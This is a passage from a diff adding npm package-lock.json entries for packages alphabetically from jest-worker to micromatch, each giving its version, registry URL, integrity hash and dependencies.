"https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jquery": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.0.tgz", + "integrity": "sha512-JVzAR/AjBvVt2BmYhxRCSYysDsPcssdmTFnzyLEts9qNwmjmu4JTAMYubEfwVOSwpQ1I1sKKFcxhZCI2buerfw==", + "peer": true + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", + "dev": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jss": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss/-/jss-10.9.0.tgz", + "integrity": "sha512-YpzpreB6kUunQBbrlArlsMpXYyndt9JATbt95tajx0t4MTJJcCJdd4hdNpHmOIDiUJrF/oX5wtVFrS3uofWfGw==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "csstype": "^3.0.2", + "is-in-browser": "^1.1.3", + "tiny-warning": "^1.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/jss" + } + }, + "node_modules/jss-plugin-camel-case": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.9.0.tgz", + "integrity": "sha512-UH6uPpnDk413/r/2Olmw4+y54yEF2lRIV8XIZyuYpgPYTITLlPOsq6XB9qeqv+75SQSg3KLocq5jUBXW8qWWww==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "hyphenate-style-name": "^1.0.3", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-default-unit": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.9.0.tgz", + "integrity": "sha512-7Ju4Q9wJ/MZPsxfu4T84mzdn7pLHWeqoGd/D8O3eDNNJ93Xc8PxnLmV8s8ZPNRYkLdxZqKtm1nPQ0BM4JRlq2w==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-global": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.9.0.tgz", + "integrity": "sha512-4G8PHNJ0x6nwAFsEzcuVDiBlyMsj2y3VjmFAx/uHk/R/gzJV+yRHICjT4MKGGu1cJq2hfowFWCyrr/Gg37FbgQ==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-nested": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.9.0.tgz", + "integrity": "sha512-2UJnDrfCZpMYcpPYR16oZB7VAC6b/1QLsRiAutOt7wJaaqwCBvNsosLEu/fUyKNQNGdvg2PPJFDO5AX7dwxtoA==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0", + "tiny-warning": "^1.0.2" + } + }, + "node_modules/jss-plugin-props-sort": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.9.0.tgz", + "integrity": "sha512-7A76HI8bzwqrsMOJTWKx/uD5v+U8piLnp5bvru7g/3ZEQOu1+PjHvv7bFdNO3DwNPC9oM0a//KwIJsIcDCjDzw==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0" + } + }, + "node_modules/jss-plugin-rule-value-function": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.9.0.tgz", + "integrity": "sha512-IHJv6YrEf8pRzkY207cPmdbBstBaE+z8pazhPShfz0tZSDtRdQua5jjg6NMz3IbTasVx9FdnmptxPqSWL5tyJg==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.9.0", + "tiny-warning": "^1.0.2" + } + }, + "node_modules/jss-plugin-vendor-prefixer": { + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.9.0.tgz", + "integrity": "sha512-MbvsaXP7iiVdYVSEoi+blrW+AYnTDvHTW6I6zqi7JcwXdc6I9Kbm234nEblayhF38EftoenbM+5218pidmC5gA==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "css-vendor": "^2.0.8", + "jss": "10.9.0" + } + }, + "node_modules/jss/node_modules/csstype": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.11.tgz", + "integrity": "sha512-sa6P2wJ+CAbgyy4KFssIb/JNMLxFvKF1pCYCSXS8ZMuqZnMsrxqI2E5sPyoTpxoPU/gVZMzr2zjOfg8GIZOMsw==" + }, + "node_modules/jsx-ast-utils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.2.tgz", + "integrity": "sha512-HDAyJ4MNQBboGpUnHAVUNJs6X0lh058s6FuixsFGP7MgJYpD6Vasd6nzSG5iIfXu1zAYlHJ/zsOKNlrenTUBnw==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.4", + "object.assign": "^4.1.2" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/jwt-decode": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-2.2.0.tgz", + "integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk=" + }, + "node_modules/keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==", + "peer": true + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/klona": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", + "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/known-css-properties": { + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.21.0.tgz", + "integrity": "sha512-sZLUnTqimCkvkgRS+kbPlYW5o8q5w1cu+uIisKpEWkj31I8mx8kNG162DwRav8Zirkva6N5uoFsm9kzK4mUXjw==", + "dev": true + }, + "node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", + "dev": true, + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/loader-runner": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", + "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash.assignwith": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.assignwith/-/lodash.assignwith-4.2.0.tgz", + "integrity": "sha1-EnqX8CrcQXUalU0ksN4X4QDgOOs=" + }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" + }, + "node_modules/lodash.curry": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", + "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" + }, + "node_modules/lodash.find": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", + "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=" + }, + "node_modules/lodash.flow": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", + "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" + }, + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" + }, + "node_modules/lodash.isequal": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", + "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" + }, + "node_modules/lodash.isundefined": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", + "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" + }, + "node_modules/lodash.pick": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", + "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" + }, + "node_modules/lodash.throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" + }, + "node_modules/lodash.topath": { + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", + "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak=" + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-symbols/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/longest-streak": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz", + "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=", + "dev": true + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/map-obj": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", + "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/marked": { + "version": "4.0.14", + "resolved": "https://registry.npmjs.org/marked/-/marked-4.0.14.tgz", + "integrity": "sha512-HL5sSPE/LP6U9qKgngIIPTthuxC0jrfxpYMZ3LdGDD3vTnLs59m2Z7r6+LNDR3ToqEQdkKd6YaaEfJhodJmijQ==", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 12" + } + }, + "node_modules/mathml-tag-names": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz", + "integrity": "sha512-APMBEanjybaPzUrfqU0IMU5I0AswKMH7k8OTLs0vvV4KZpExkTkY87nR/zpbuTPj+gARop7aGUbl11pnDfW6xg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", + "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-string": "^2.0.0", + "micromark": "~2.11.0", + "parse-entities": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz", + "integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "longest-streak": "^2.0.0", + "mdast-util-to-string": "^2.0.0", + "parse-entities": "^2.0.0", + "repeat-string": "^1.0.0", + "zwitch": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", + "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.1.tgz", + "integrity": "sha512-1c9VPVvW5P7I85c35zAdEr1TD5+F11IToIHIlrVIcflfnzPkJa0ZoYEoEdYDP8KgPFoSZ/opDrUsAoZWym3mtw==", + "dev": true, + "dependencies": { + "fs-monkey": "1.0.3" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/meow": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", + "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", + "dev": true, + "dependencies": { + "@types/minimist": "^1.2.0", + "camelcase-keys": "^6.2.2", + "decamelize": "^1.2.0", + "decamelize-keys": "^1.1.0", + "hard-rejection": "^2.1.0", + "minimist-options": "4.1.0", + "normalize-package-data": "^3.0.0", + "read-pkg-up": "^7.0.1", + "redent": "^3.0.0", + "trim-newlines": "^3.0.0", + "type-fest": "^0.18.0", + "yargs-parser": "^20.2.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/meow/node_modules/type-fest": { + "version": "0.18.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", + "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=", + "dev": true + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromark": { + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz", + "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "debug": "^4.0.0", + "parse-entities": "^2.0.0" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + 